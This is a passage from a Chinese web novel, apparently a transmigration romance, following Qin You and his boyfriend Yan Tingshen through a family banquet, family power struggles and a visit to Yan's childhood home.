放在之前,他会帮康明解围。
可现在康明自以为有老爷子撑腰,不把他放在眼里,他当然乐得作壁上观。
“我让你们来的第一件事,”
秦恒钟说,“就是向你们重新介绍康明。”
他说着“你们”,眼神却只看向秦游一个人。
秦游扫过长桌前的众人,已经了然。
这场家宴的目的,秦恒钟只提前告诉了他。
秦桦也有意无意地看向秦游,看似劝说:“爸,大过年的,就不要提这些了吧?”
秦恒钟抬手,从桌前站起了身。
他走到康明身后,按在康明肩上:“这件事,本来我打算带进坟墓里去。但事到如今,也没什么好隐瞒。”
秦游挑眉。
秦恒钟看向他:“康明,他确实是你爸的血脉。”
听到这句话,秦桦心里隐隐有种不祥的预感。
老爷子一向看重脸面,一个最不体面的私生子,绝不可能放在明面上来讲。
会出现在台前,只能说明,这其中有什么关窍,保住了体面。
果然。
下一秒,他听到秦恒钟接着说。
“但康明不是你们想的那种私生子。”
秦恒钟看过其他人,又转向秦游,“其实,在他出生之前一年,秦游,你爸妈就秘密离婚了。这个消息,我也是在你爸病了之后才知道。”
系统吸气:【宿主,这些剧情完全没有记录啊……】
秦游不以为意。
不止这些剧情。
有限的记忆里,康明的私生子身份没有揭穿,原身的总经理也当得顺风顺水。
至少秦恒钟心脏病发,突然过世之前,原身的生活还算纸醉金迷,之后才被赶出秦氏。
秦恒钟还没说完:“所以,康明只是你爸的非婚生子,没有伤害你妈和你。”
秦艺不由问:“可是爸,这么说的话,康明为什么姓康?又为什么在四年前才进公司?以大哥的为人,知道康明是自己的血脉,会让他流落在外吗?”
“这件事说来话长,总之是个误会。”
秦恒钟语气平淡,对她的几个问题,显然都不打算深谈,只一言蔽之,“你大哥也不知道康明母亲怀孕。”
秦艺当然没有全信。
这种话听着就像借口。可由老爷子说出来的借口,她就算质疑,也不会当面拆穿。
秦恒钟说完,看向长桌前的面孔。
康明低头不语。
几个小辈也各自保持安静,一声不吭。
秦艺问了几句,惊讶过后,又自顾自吃起甜点;秦桦则看着秦游,面露担忧。
秦恒钟也缓缓转向秦游——
看到秦游毫无变化的神色,他心底划过一抹满意。
这样处变不惊的表现,也是他最看重秦游的原因之一。
想要接手秦氏,能力,性情,心态,缺一不可。
而秦游,面面俱到。
唯一的缺点,就是太过懒散,简直没有上进心。
但想到秦游从小独自一个人长大,秦恒钟又不忍心去苛责。
想到这,他暗叹一声。
秦游把溪源股份转给刘望舒的事,他已经知道,也没有太多意外。
毕竟秦游心思纯善,总为别人着想,连被陷害都能不深入追究,何况是退婚这种状况。
可也正是心思细腻,突然得知父母早年离婚,还有了一个同父异母的弟弟,秦游恐怕心里不会好受。
“至于第二件事。”
秦恒钟想着,宣布这件事时的语气更加强硬,“你们也看见了,秦游的病已经痊愈,初八上班,他会重新担任秦氏总经理。”
这个消息来得更加突然。
秦桦眼神微眯,意识到事情已经完全超出预期,脱离了他的掌控。
康明脱下私生子的帽子,俨然成了名正言顺的秦家人。
秦游喜欢的男人的事,也没人在意,好像从没发生过。
秦桦看向对面。
见秦恒钟正走向秦游,他闭了闭眼,再睁眼时笑了笑。
一次不成,还有第二次。
再找机会就是了,走着瞧吧。
对面。
秦恒钟已经到秦游身前。
管家拉开椅子,方便秦恒钟坐下。
秦游正喝水润喉。
见他过来,随手把倒了茶的酒杯放下。
秦恒钟看了一眼,问了一句:“有医嘱不能喝酒?”
秦游笑了笑,反问:“医生的嘱咐叫医嘱,男朋友的嘱咐该叫什么?”
“……”秦恒钟深吸一口气,只当没听见,“你今晚在家里住吧,我还有话要跟你谈。”
秦游看表:“不行。”
秦恒钟皱眉,深深看他:“不要再跟我说你认床,我问过了,你昨晚不在泽水湾。”
秦游笑说:“有时候认床,有时候认人,必须有其中一个。”
秦恒钟已经不会再信秦游随口编造的理由。
但他沉着脸,又让了一步:“你去打个电话,告诉他,只有今晚。”
秦游正要开口,秦恒钟补充:“秦游,别忘了,这次退婚,是你出尔反尔在先。”
秦游微顿。
秦恒钟说:“我帮你解决麻烦,也为你退步很多,只是让你留下来谈谈,这样的要求,过分吗?”
话落,他又看秦游一眼,起身离开。
秦游无奈。
他转眼看过天色,想了想,也起身出门,给严庭深打了一通电话。
对面很快接通。
“谈完了?”
听筒里格外安静。
秦游先问:“你睡了?”
严庭深停顿一秒:“还没有。”
秦游笑了笑:“在等我?”
严庭深说:“嗯。”
秦游作势轻叹:“别等了,快睡吧,老爷子还有话说,我今晚回不去了。”
听筒里有短暂的沉默。
秦游听出他的不情愿,也沉默片刻:“算了。今晚我回去,明天再过来一趟。”
“不用。”
严庭深说,“你留下吧。”
为了这点小事,秦游没必要和秦老起冲突。
秦游问他:“你确定?”
“嗯。”
严庭深只说,“明天见。”
秦游道:“明天见。”
挂断电话,他回到小宴会厅,正对秦恒钟颔首示意,秦桦大概刚才听说什么,也走过来。
“怎么在家里住一夜,还要去打电话?”
秦桦笑着,关心地说,“放心吧,你车上能有几个人,司机和保镖,都安排得下。”
秦游眸光闪动。
车上?
送他过来的是严庭深,车应该不在秦宅,秦桦为什么这么说?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
90-100
第 91 章 他从没做过这样的事。……
秦恒钟坐在一旁, 语气不冷不热:“交代完了?”
秦桦看他的态度,一时也摸不清他真正的想法。
看重秦游到可以忽视过错的地步,言谈之间怎么又听起来有点冷淡?
“坐下歇一会, 我——”
秦恒钟的话没说完, 看见秦游又拿出手机,表情又黑了下去,“你要干什么?”
秦游应付一句:“我去一趟卫生间。”
秦恒钟看他带着手机转身离开, 气不打一处来。
也就一个晚上罢了,打一个电话还不够。
秦游对他、对公司的事, 怎么没有这万分之一的上心?
秦桦坐下, 劝说:“爸, 秦游是个有主见的孩子, 您既然让他回秦氏, 就让他放开手脚去做吧。”
秦恒钟沉着脸, 不置可否。
秦桦的心却也沉了沉。
老爷子鲜少有这么耐心的时候, 对秦游, 实在破例了太多次。
他不确定是不是因为“做戏”赶秦游出局的提议毫无成效, 导致老爷子对他生出芥蒂, 所以关于秦游和康明的两个重要人事任命, 他都被蒙在鼓里。
相反的,秦游全场对康明的出现非常平静,显然是提前得到消息。
也就是说, 这场风波过去,老爷子和秦游非但没有生出嫌隙,反而更亲近了。
这个时候再说什么都显得刻意。他可不想在老爷子眼里留下挑拨离间的坏印象。
那就只能从外面找办法了。
秦桦缓缓晃着手里的酒,视线转过小宴会厅,最后落在祁新维身上。
最后一个祁家人, 应该还有点作用。
—
祁新维正和迎面遇到的秦游打招呼。
“哥——”
秦游没听他说完,略一颔首,出门后拨了一通电话。
“嘟——”
对面又是很快接听。
严庭深的声音透过听筒传来,背景依旧是格外安静。
“还有事吗?”
秦游再抬腕看表。
距离他来到秦宅,已经过去一个半小时。
他直言问他:“你在哪?”
听到这句问话,严庭深不语。
秦游道:“别乱跑,我现在过去。”
严庭深才开口:“不用。我马上——”
秦游只道:“原地等我。”
他的语气偶尔不容置辩,也没有拒绝的余地。
严庭深抿唇:“好。”
秦游挂了电话,按原身的记忆来到车库。
远远看见亮着车灯的方位,他径直过去。
没多久,一道身影从车上下来。
秦游走近。
严庭深也来到车前。
看到秦游,严庭深只道:“你答应秦老今晚留下,不能食言。”
闻言,秦游看向严庭深身后的车。
从狭窄的后座,再看回眼前这个人。
一个半小时的束手束脚,严庭深独自坐在这里等他。
如果不是秦桦无意间透露的信息,他甚至不知道这一个半小时的存在,严庭深也只能独自回程。
“公司有件事要处理。”
严庭深避开他的眼神,抬腕看表,“你给我电话的时候,刚结束。”
秦游看着他,良久,从善如流:“累吗?”
严庭深说:“不累。”
话落,他又说,“你回去吧,我马上就走。”
秦游笑了笑:“我当然要回去。”
严庭深敛眸。
即便希望秦游和秦老缓和关系,今晚留下,但听到这句话,他心底仍有浅浅一层酸涩悄然滚过。
“不过——”
严庭深微顿,抬眼看向秦游。
秦游笑说:“你跟我一起走。”
严庭深轻怔:“什么?”
秦游道:“现在人都在楼下,来吧,我先送你上楼。”
严庭深随着他往前半步,又停在原地:“你不要乱来,秦老不会同意的。”
秦游笑了一声:“我没记错的话,你和我在一起,老爷子也不同意。”
严庭深薄唇微抿。
秦游挑眉看他:“怎么,你想和我分手?”
严庭深微蹙起眉:“我不是这个意思。”
秦游道:“别担心,这里有另一条路上楼,不会碰见无关人等。”
严庭深眉间痕迹稍松,却没完全消散。
没人看见,不代表可以为所欲为。
这里是秦家,秦老是唯一和秦游关系还算和睦的亲人。
假使因为他的缘故、因为这点小事,又让两人心有不快,得不偿失。
秦游看他一眼,只抬手到他身前:“跟我走,还是不跟我走,你选。”
严庭深垂眸看过他的掌心,身侧的手紧了又紧。
秦游抿笑,作势转身:“那我走了。”
闻言,严庭深下意识拉住他的手。
秦游回眼。
严庭深动作微僵,但没有松手:“……明天,见到秦老——”
“明天的事,明天再说。”秦游道,“何况一切有我,怕什么。”
话音落下,他和严庭深接着往前。
到了楼上,佣人正巧走过,看到秦游,都恭敬问好。
秦游顺势问了房间位置,把楼梯上的严庭深拉上来。
严庭深面色不改,直到进了房间,看到秦游合起房门,才后知后觉,心跳声正擂鼓似的响。
他从没做过这样的事。
过手的案子相加,即便曾经最艰难的时候,他都没有过此时此刻的心情。
不请自来;
在主人不知情的情况下擅自入住——
尤其是,他正和秦游做这些事。
严庭深转眼看向秦游。
秦游正示意他去坐下:“在这等我,老爷子还有话说,我尽快回来。”
事已至此,严庭深没再多说什么:“嗯。”
秦游回到门前,看他时眼底含笑:“别紧张。”
严庭深送他到门前,淡声道:“我没紧张。”
秦游心照不宣:“那就好。”
他最后留下一句,“关好门。”
严庭深说:“嗯。”
秦游才转身出门。
他下楼回到小宴会厅,里面正好散场,进门时,只剩下秦恒钟和康明。
看到他,秦恒钟又对康明抬了抬下巴。
康明顿时会意,从沙发上起身。
路过秦游,他露出一个友善的笑容,主动打了声招呼:“秦总。”
秦游颔首:“康总。”
听到这个称呼,康明脸上没有丝毫变化,又对秦恒钟告辞,才转身离开。
房门开合。
秦恒钟也起身,和秦游一起来到书房,才终于开口:“我已经跟康明说过,等你回到总经办,我会把他调到公关部。”
见秦游无动于衷,他接着提示,“他先顶了祁海良的空缺,不过以他的能力,绝不止一个副总监。辅佐你,总是够的。”
听到这句话,秦游已经听出他今晚这场谈话的主题。
秦恒钟看向秦游:“不论如何,他是你的亲弟弟,我留他四年,他的心性,我也放心。他的野心对你没有多少威胁。”
秦游在沙发前坐下:“既然他有能力,性格不错,也有野心——”
“你住口。”
秦恒钟沉着脸打断这句话,心知秦游又想撂挑子不干,“他是我这次给你准备的人选之一。”
之一?
秦游看了看他。
还没到临危的时候,就开始准备顾命大臣?
秦恒钟也注意到秦游的眼神。
但直到把所有人的资料都说过一遍,他才轻叹一声:“秦游,爷爷已经老了,帮不了你许多,何况你也老大不小,不尽快学着当家,难道以后就要这么浑浑噩噩的过日子?”
不等秦游开口,他又说,“不提你自己,就算是严庭深,他也有自己的事业要打拼,你这么坚持和他在一起,难道要拖他的后腿?时间不长还看不出什么,经年日久,你和他还有什么共同话题可谈?”
“……”秦游没想到,为了劝业,老爷子连深恶痛绝的严庭深也能拿来当借口。
秦恒钟也没喋喋不休,劝了几句,又转回正题。
秦游本想敷衍过去,想到楼上的严庭深,还是听他把话说完。
秦恒钟习惯他的潦草,见他今天这么配合,一时心生疑窦:“我刚才说的,你都听进去没有?”
秦游正拿手机发消息:“听了,听了。”
这样的态度,秦恒钟习惯之余,又有无名火起,于是问了他几个问题。
见秦游回着消息也对答如流,秦恒钟闭眼摆了摆手:“行了,时间不早了,你先去休息吧。”
秦游道:“您也早点休息。”
秦恒钟狐疑地看他背影一眼,没看出什么异样。
秦游也没注意身后的视线,出门回了客房。
他进门时,严庭深正在门边。
“放心。”
秦游看他的神色,笑说,“没人发现。”
严庭深收回视线:“你和秦老谈完了?”
“嗯。”
秦游捏了捏他的耳垂,“睡吧。明天回家。”
严庭深听着他的话,眸光微动。
目送秦游走进浴室,他的视线落在如同透明镜面的深色玻璃推拉门,唇边笑意微敛,转身回到床边。
—
次日。
清晨。
秦恒钟正在客厅喝茶。
没多久,管家走过来:“老爷,游少爷醒了。”
秦恒钟说:“去问问他,要不要吃过早饭再走。”
管家听命办事,很快往返。
只是再回到秦恒钟身边,他欲言又止。
秦恒钟翻看新闻,看他这副表情,没觉得意外,冷哼了一声:“他不想在这吃?算了,他想怎么样就怎么样吧。”
秦游昨晚也不想留下,今天早上想必归心似箭,能记得吃早饭才是稀奇。
“游少爷在这吃,只是……”
管家说着,又犹豫起来,“只是他……”
秦恒钟皱起眉:“你今天怎么回事,说一句话也吞吞吐吐。他到底说什么?”
“他……”
管家实在不敢引爆这颗炸弹,“其实,也不是游少爷,是……”
秦恒钟听得云里雾里:“不是秦游,那是谁?”
管家为难地说:“是——”
“早。”
从不远处传来的声音打断了两人的谈话。
秦恒钟循声看过去。
第一眼看到秦游,他正要说话,紧接着就看到,秦游手上还握着另一只手——
“……”秦恒钟的脸色渐渐黑了。
管家这时低声在他耳边说:“是严庭深严总,他在游少爷房里……”
“…………”秦恒钟黑着脸,看向管家,面无表情地说,“是吗?”
第 92 章 只和你有关。
秦游和严庭深一起进了客厅。
严庭深握紧秦游的手, 在门外顿了一步。
秦游笑着回眼:“放心。”
早上他原本打算和来时一样,直接离开,可惜眼前的这个人还在犹豫。
之后出门的时候正巧遇到管家, 他们省了选择的步骤, 只能过来打招呼。
好在秦宅上下都是秦恒钟的心腹,这位管家更是秦恒钟发家时就跟在身边的老人,保守秘密是基础技能。
当然, 这个保守秘密是对外人而言。
对秦恒钟,管家耳闻目睹的事, 应该没什么秘密可言。
换句话说。
他们的关系不会暴露, 但他们身在秦宅, 秦恒钟一定会知道。
秦游捏了捏严庭深的手, 笑说:“有我在。”
不请自来, 还不小心暴露、被人发现。
以严庭深死要面子的性格, 现在肯定饱受煎熬。
严庭深也捏了捏他的手, 才淡声道:“我没事。”
话间, 两人进了客厅。
秦恒钟坐在沙发上, 看着两人走近, 神情虽然称不上高兴, 却也如常。
他先转向秦游,不咸不淡地说:“昨晚有客人到,你怎么没跟我说一声?”
严庭深听出他话里有话, 先秦游一步开口:“秦老,抱歉,昨晚是我冒昧,没跟您打招呼。”
秦恒钟的眼神渐渐往下,落在两人至今交握的手上, 眼皮乱跳一下。
秦游也说了一句:“昨天太晚了,我让他不要打扰您休息。”
“……”事已至此,大清早的,秦恒钟也没有追究的力气,他放下茶杯,起身从两人中间走过,眼不见心不烦,“……吃饭吧。”
秦游和严庭深也转身去了餐室。
一顿饭的功夫,秦恒钟看着一旁的两人,胃口都小了一半。
饭后正准备把人赶走,就听到秦游对严庭深说话。
“来都来了,我带你去附近走走。”
秦游把餐巾放在桌上,转向严庭深,“这里风景不错,正好适合散步。”
“……”秦恒钟冷着脸喝水。
风景不错?
回国多长时间了,秦游还是第一次发现家里风景不错。
他越听越吃不下,交代两人几句,就起身回了楼上。
到了书房,他走到窗边,不巧看见两人并肩走在花园小径。
有说有笑的两道背影,身形相仿,连步调都显得和谐,看起来竟然有些顺眼,倒像认识多年的好友。
秦恒钟看着,心底暗叹。
如果这两个人只是好友,一切问题就迎刃而解了。
这时,管家从门外走来,把手里的视频递给秦恒钟。
“老爷,昨晚游少爷和严总是一起到的,只是严总一直没有进门。”
——直到家宴结束,秦游打了那通电话,才发现严庭深就在车里等他。
秦恒钟看着监控回放,听着地库里两人的对话,眼神复杂。
秦游和严庭深私下怎么相处,他毫不了解,但他从没想过,严庭深会为秦游做到这一步。
陪秦游到场,却因为不方便露面,在车里等了足足一个半小时。甚至在秦游不知情的情况下。
时间,在商人眼里,这无疑是最宝贵的东西。
为了秦游,严庭深宁愿把最宝贵的东西浪费这么久。
以他了解中的严庭深。
以他打交道时看到的严庭深——
如果这次不是亲眼所见,他绝不相信,这会是严庭深做出的事。
秦恒钟把平板递还给管家,心底又叹。
能力方面,严庭深无可挑剔。
两个人的感情,现在看来也可圈可点。
要是严庭深是个女孩,这门婚事,他一定不会反对……
“你说,秦游怎么会喜欢上男人?”
管家看了看秦恒钟,知道对方是因为花园里的这两位,在随口感慨,可也忍不住说:“老爷,其实现在游少爷和严庭深在一起,未尝不是好事。”
秦恒钟皱眉,看向他:“你说什么?”
“您想,严庭深年纪轻轻就能拿下钧闵的实权,能力没的说,他现在和游少爷感情好,肯定会帮游少爷在公司站稳脚跟。”
管家说,“等到事业立成,游少爷也不到三十岁,那之后,感情的事谁也说不准,分分合合都是常态。”
秦恒钟听完,脸上没什么变化。
说来说去,都是放任自流。
不过,严庭深肯定会是秦游接手公司的一大助力,这倒是实话。
他为秦游做的诸多准备,到头来,能不能比上一个严庭深,都未可知。
秦恒钟想着,又转脸看向窗外。
没在路上找到秦游,他往前一步,终于在小径尽头、拐角树下,看到两人的影子。
浓密的粉色花影间,从二楼看过去,两人的身形若隐若现。
秦游倚在花开繁茂的古桃树下,单手扶在严庭深腰后。
严庭深正往前,看不出和秦游之间的距离,只显得亲密无间。
花丛中,粉树下。
桃花遮掩着两人的动作,却挡不住两人透花而出的亲密。
他们正接吻。
秦恒钟蓦地闭眼,当即转身:“把窗帘拉上。”
管家正照办。
短暂的死寂过后,又听到他说。
“你去,找个理由,让秦游马上回去。”
—
与此同时。
楼下花园。
严庭深倏地顿住,扣在秦游腰间的手按到秦游肩颈。
秦游抬手握在他手腕,轻笑一声:“心跳这么快?”
严庭深退了半步,却被腰后的力道按了回来。
沾雪的桃花在两人动作间飘飞落下,周围满是带着冷意的淡淡香气。
严庭深看着近在眼前的秦游,片刻,又转眼拂去秦游肩上的落花:“秦老还在,别乱来。”
秦游感觉到掌心里不成节奏的心跳,再把人按回怀里。
他看着严庭深被迫转回的双眼,噙笑问道:“刚才你亲我的时候,怎么没说这句话?”
严庭深沉默。
“听。”
秦游把他的手按回他胸口,眼底笑意不减,“你的心跳,不太正常哦。”
严庭深移开视线——
秦游转回他的下巴,倾身往前,压低嗓音,轻笑问他:“你是紧张,还是兴奋?”
严庭深眸光微凝。
他正拉下秦游的手,听到身后传来刻意的脚步声,动作蓦然停顿,转而十指相扣,和秦游拉开距离,转身看了过去。
秦游这次没去阻拦,也从树前站直起身。
管家这时才从拐角过来,看到秦游和严庭深,面露难色:“游少爷,严总,对不起,刚才我忘了提,再过十分钟,老爷约好的客人就要到了,严总不方便的话,要不要先回房间避一避?”
秦游往别墅的方向看了一眼:“不用了。麻烦帮我转告老爷子,既然他有客人,我们就先回去了。”
这种行程,管家不可能会忘了提,替主人委婉送客而已。
管家又道歉几句,才送秦游去了车库。
司机已经等在车前。
上了车,秦游对严庭深说:“秦宅的风景看不成,京启的风景还有很多。不过——”
严庭深也转向他。
秦游问他:“你有时间吗?”
严庭深没有丝毫犹豫:“有。”
秦游笑了笑,示意司机改道。
之后接连四天,他和严庭深去了几个风景绝佳的观景地。
期间找到几个口味不错的餐厅,尝试去看了一场在映的热门电影,又去了几次滑雪场。
初七晚上,再结束一场滑雪,吃过晚饭,回去的路上,秦游转眼看到严庭深抬腕看表,忽地想起什么。
严庭深注意到他的眼神:“怎么?”
秦游看着他,突然笑了笑,对司机说:“去青宁路。”
司机依言改道:“好的。”
严庭深却沉沉看着秦游。
秦游看出他有话要问,也等着他问出口。
但良久过后,严庭深收回视线,转向车窗外,一言未发。
“不问为什么?”
听到秦游的声音,严庭深敛眸一瞬,又看向他,淡声道:“你想说,可以告诉我;不想说,我又何必自讨没趣。”
秦游挑眉:“说得也对。那就先不告诉你了。”
严庭深沉眸,看他一眼,视线转回窗外,语气如常:“随你。”
秦游笑了一声:“生气了?”
严庭深道:“没有。”
秦游拍了拍他搭在扶手的手背:“没生气就转回来。”
严庭深收了手,才回眼看他。
秦游看着他动作,笑意愈深:“真的没生气?”
严庭深道:“没有。”
“我不信。”
秦游点了点侧脸,正色道,“来亲一下证明你没生气。”
严庭深正倾身,看到他唇边压下的笑意,眸光微动,抬手扣在他的下颚,直直吻在他含笑的薄唇。
秦游稍有意外,但也轻笑任他动作。
直到一吻结束。
严庭深松手,对他刚才的行为给出两个字的评价:“幼稚。”
秦游笑说:“好了,不开玩笑了。这次去青宁路,我是想看看你小时候住过的地方。”
严庭深回身的动作停住。
秦游捏住他的耳垂,又说一句:“只和你有关,明白吗。”
闻言,严庭深看着秦游,面色不改,唯独听不见的心跳声在鼓噪。
他轻声说:“我知道。”
第 93 章 我喜欢的,只有你。……
新金区。
A栋别墅。
祁新维下车进门, 把外套递给佣人,走向客厅。
看到沙发上秦桦,他扬起笑容, 走了过去:“小舅。”
秦桦没起身, 见他到了,摆了摆手:“坐吧。”
管家也对左右示意,一起退了出去。
祁新维余光看到, 心头动了动。
秦桦这时问他:“新维最近在忙些什么?”
祁新维想了想,摇头说:“最近家里接连出事, 加上过年, 我一直打不起精神做什么, 就跟着我妈随便转转。”
跟着秦艺?
秦桦看了看他。
祁家三个人, 也就这个祁新维长了点脑子。不过没人教养, 只能是这个下场。
最近, 应该是秦艺终于记起当妈的责任, 想拉这个儿子一把。
毕竟丈夫儿子三个, 就剩这最后一个独苗, 也到着急的时候了。
祁新维倒也坐得住, 这几天, 始终没来找他。
可惜啊,为时已晚。
秦桦倒了茶,送了一杯到祁新维面前:“跟着你妈修身养性, 那也不错。”
祁新维双手接过,虽然不明白这个老狐狸到底什么意思,还是笑着说:“小舅说的是。”
直到茶过三巡,他终于没忍住,问了一句, “小舅,你今天让我过来,是不是有什么话要叮嘱?”
这个秦桦,要不是当初爸说漏了嘴,他还不知道,原来背地里,他们祁家不知不觉已经帮所谓的小舅做了多少脏活累活。
爸还满心欢喜的感恩秦桦带祁家赚钱,根本不知道,秦桦带他上的这条贼船,归根结底也是为贼打工,赚的钱没多少,还害得他们全家都泥足深陷,不能脱身,秦桦这个罪魁祸首却干干净净。
这些事不能见光,他也没办法告诉妈和姥爷,否则得罪了秦桦,他们自己也脱不了干系。
现在家里就剩他和妈,那些事没了圆微梦,他也不想再做下去,等到复工,他相信一定会找到合适的机会,不再靠任何人,也能东山再起。
总有一天,他会凭借自己的力量,让秦游付出代价!
秦桦正拍了拍额头,恍然大悟似的:“瞧我,年纪大了,连正事都忘了。”
他重新洗茶,像随便问问,“我是想找你确认一下,孟云哲——”
听到这个名字,祁新维一凛。
秦桦看着他的表情,眼里闪过一抹嘲弄,接着说:“这个人,新维,我记得你和他关系不错吧?”
祁新维不动声色:“他是我大学同学。”
秦桦说:“他被抓了,你知道吗?”
祁新维猛地坐正:“他被抓了?”
怪不得,从除夕那天,他和孟云哲就断了联系。
他以为孟云哲是按计划躲到国外,不方便传消息到国内,没想到人竟然已经被抓了!
秦桦说:“是啊,听说是买凶杀人。”
祁新维立刻联想到秦游在苍滨出的那次事故。
买凶杀人。
难道就是那一次?
秦桦假意看不出祁新维的异样:“还有一件事,我猜就算你们是朋友,他也不会告诉你。”
祁新维下意识追问:“什么?”
秦桦说:“孟云哲,是严立辉的私生子。”
祁新维瞪大双眼。
“所以,这次要彻查的人,是严庭深。”
秦桦把新茶又送到他面前,“迫于他的压力,孟云哲过年这几天实在不好受啊,也吐了不少东西,想要戴罪立功。”
祁新维六神无主:“他吐了什么?”
身在京启,这个距离严庭深最近的圈子,他当然最了解这位钧闵严总的心狠手辣。
何况孟云哲和他之间,是交易往来,是利益互换,换作是他,能戴罪立功,孟云哲的名字同样会出现在警察的笔录里。
“重要的不是他吐了什么,重要的是,”
秦桦假意看不出他的慌乱,意味深长地说:“一个即将被依法逮捕的人,有什么筹码,能在严庭深手里,保住自己的命。”
祁新维呼吸急促。
他和严庭深连面都没正式见过,在对方眼里根本不值一提,他能有什么筹码——
突然。
祁新维看向秦桦,双手攥住茶桌,像紧紧攥着手里的救命稻草:“小舅,有一件事,你应该也不知道!”
秦桦笑着说:“什么事?”
祁新维深吸一口气,强行冷静下来:“我哥、秦游,他喜欢上一个男人。”
秦桦笑容微凉:“新维,只有这点分量,小舅也爱莫能助啊。”
“不!”
祁新维身体往前倾倒,急切地说,“那个男人,我知道是谁!”
秦桦双眼眯起:“哦?”
祁新维抖着手从口袋里掏出手机,点开一张照片,递给秦桦。
秦桦抬手接过。
看到照片上的两个人,他也缓缓坐直起身。
祁新维看向他,正绞尽脑汁:“小舅,秦游和严庭深在一起,接任公司就更简单了,可如果严庭深自身难保,就还有翻盘的机会啊!”
秦桦脸上没有笑容,语气先恢复如常:“新维,不要乱说话,秦游接任公司,是你姥爷的决定。”
祁新维忙说:“可姥爷也不希望秦游和男人在一起,我想严家也不会希望看到。”
秦桦看着手机里的照片。
秦游和严庭深。
他想起那天在车位看到的两道身影,和手机里的这两个人,确实足够吻合。
再想到老爷子这段时间改变的态度,秦桦眼神深沉。
因为是严庭深,所以才不反对吗?
就像祁新维说的,有严庭深帮忙,秦游接任公司,只会更简单。
“而且,小舅,”
祁新维又说:“姥爷坚持只把秦游当成继承人,钧闵却不是只有严庭深一个人选吧?”
秦桦当然听出他的言外之意,心思转了转,又笑起来:“你说得很对。”
见状,祁新维松了口气,也笑着说:“钧闵总裁是谁来当,还要看小舅看中谁,想把这份人情送给谁了。”
严庭深喜欢男人,这个消息爆出来,只要提前作部署,从严庭深手里抢肉,不是不可能。
这份人情,对严家那群觊觎总裁宝座的豺狼虎豹来说,简直是天大的馅饼,他知道秦桦不可能不动心。
秦桦笑出声来:“你的脑筋,活动得倒很快。”
“都是小舅教得好。”
祁新维见好就收,“那孟云哲那边……”
秦桦笑着对他说:“放心,一切,都有小舅在外面帮你打点。”
祁新维听着,勉强挤出笑容:“谢谢小舅。”
—
与此同时。
青柠路边,汽车缓缓停下。
秦游下了车,夜间空无一人的路上依旧悄无声息。
路灯下,两侧树影洒在路面,在两人脚下轻轻摇摆。
秦游看着这条宽阔的街道。
时间过去不久,这里的风景,和上一次别无二致。
“这里还是和以前一样?”
听到身旁传来严庭深的声音,秦游收回视线,眼底不觉间溢出笑意。
严庭深走过秦游,也看向这条街道。
自从搬到福中路,他没再回过严家旧址。
实际上,如果不是秦游提及,他早已经记不起这条青宁路。
但就在这条路上,四岁的秦游出现过。
他们早有机会遇见。
可秦游真正遇见的人却不是他。
“这是你的家,和以前相比有没有变化,应该是你告诉我。”
严庭深转眼,看向秦游。
秦游笑了笑,对他抬手。
严庭深伸手握住他,只道:“这里,的确和当年一样。”
秦游牵起他:“来吧,我带你去个地方。”
严庭深随他往前:“去哪?”
秦游道:“到了就知道了。”
两人在路灯下往前。
看到秦游正对的方向,严庭深脚下一顿:“你……”
秦游抬眼看过去,看到一旁目标的住址,笑说:“不是那一家。”
他牵着严庭深走到目标隔壁的院落前。
栏杆的缝隙,那株梅树仍然在寒风中绽放。
秦游走到门前,看到庭院里散落着凋谢的花瓣。
铺在月光下,缀在银白雪色间,点点红梅似乎又从地面盛开。
严庭深又看向秦游。
看到秦游欣赏梅树的侧脸,他顿了顿,薄唇轻启:“你……”
秦游转眼和他对视:“怎么?”
严庭深五指收紧:“你,是想带我来这?”
“没错。”
秦游笑了笑,推门和他一起走进院落,“就是这。”
簌簌的踩雪声里,严庭深问他:“为什么?”
秦游走到那枝蜿蜒而下的梅花前,把淡淡的冷香轻推到严庭深面前:“眼熟吗?”
严庭深看它一眼,又看向秦游:“你送的梅花?”
“嗯。”
秦游松了手,含笑看着这棵同样和上次来时相差无几的梅树,“那天来到青宁路,看到这棵在雪地里开花的树,不知道为什么,突然想到了你。”
严庭深注视着他,一向低沉的嗓音轻得像微风:“想到我?”
秦游也转向他,笑说:“应该是缘分吧。”
严庭深的眼神一错不错,又轻声开口:“缘分?”
每句话都要反问,这可不像严庭深。
秦游又失笑,不过也给他回答:“是啊。正好,你喜欢梅花。”
严庭深抿唇。
他也转而看向这株梅树。
这棵树,这树梅花,这座院子里的一草一木,他都比秦游更熟悉。
这是他长大的地方。
四岁的秦游没有来过。
但就在前不久,如今的秦游走进这座院落,看到这株他四岁时看过的梅花,想到了他。
蓦然间,秦游的话闯到耳边。
‘四岁的秦游,感激的是四岁的裴笙。但我遇到的,是你。’
严庭深握紧秦游的手。
缘分。
这是世上最没有逻辑的描述。
然而两次从秦游口中听到,都显得这样毋庸置疑。
严庭深又看向秦游。
不过,有一句话,秦游还是说错了。
“不是正好。”
听到严庭深的声音,秦游回眼:“嗯?”
严庭深看着秦游。
熟悉的冷香扑到鼻前,夜色里,月光下,他看着秦游被梅花映照的脸。
“也不是梅花。”
他纠正秦游的话,“我喜欢的,只有你。”
第 94 章 “别闹,这里不方便。”……
轻风拂过。
树叶沙沙作响, 花瓣也在颤动。
听到严庭深的话,秦游的视线落在严庭深脸上,已经转回身, 看着那双开口时专注沉凝的丹凤眼。
眼睛的主人很少这样直白。
今夜来到青宁路, 也许让他有不同的心情,才让他把心事全盘托出。
对上秦游的眼神,严庭深微抿薄唇, 移开了视线。
话已出口,他才后知后觉, 意识到刚才说了什么。
“另外。”
严庭深转而道, “你说缘分, 也有道理。”
秦游问:“什么道理?”
严庭深牵着他的手走到门廊下, 打开一旁的密码箱, 露出里面的钥匙。
秦游挑眉。
严庭深开门进去, 才看回秦游。
秦游意外之余, 不由笑了:“这里, 竟然是你家?”
没错。
主角和目标是邻居, 这座房子和隔壁比邻, 符合资料内容。
两次过来, 他竟然丝毫不记得这一点。
严庭深收回视线,进门时,似乎随口问他:“上次你来这里, 先看到这棵梅树,还是先去了裴家?”
秦游转脸看他,已经心领神会,笑着反问:“猜一猜?”
严庭深顿步,看他一眼, 又接着往前:“不想说就算了。”
秦游笑了一声:“我可没说过。”
严庭深开了灯。
有专人打扫,这栋房子虽然陈旧,却并不脏乱,只是家具都被蒙盖,显得趁夜色闯进来的主人,也有些格格不入。
他没再看秦游:“那时候,你把我当成裴笙,会去裴家,理所应当。你没必要瞒我。”
秦游随他漫无目的地在客厅踱步,听他说完,在窗前停下。
寒梅伸到窗前,比庭院里任何景色都惹眼。
严庭深看着它,想到秦游的话,抬手抚在窗上。
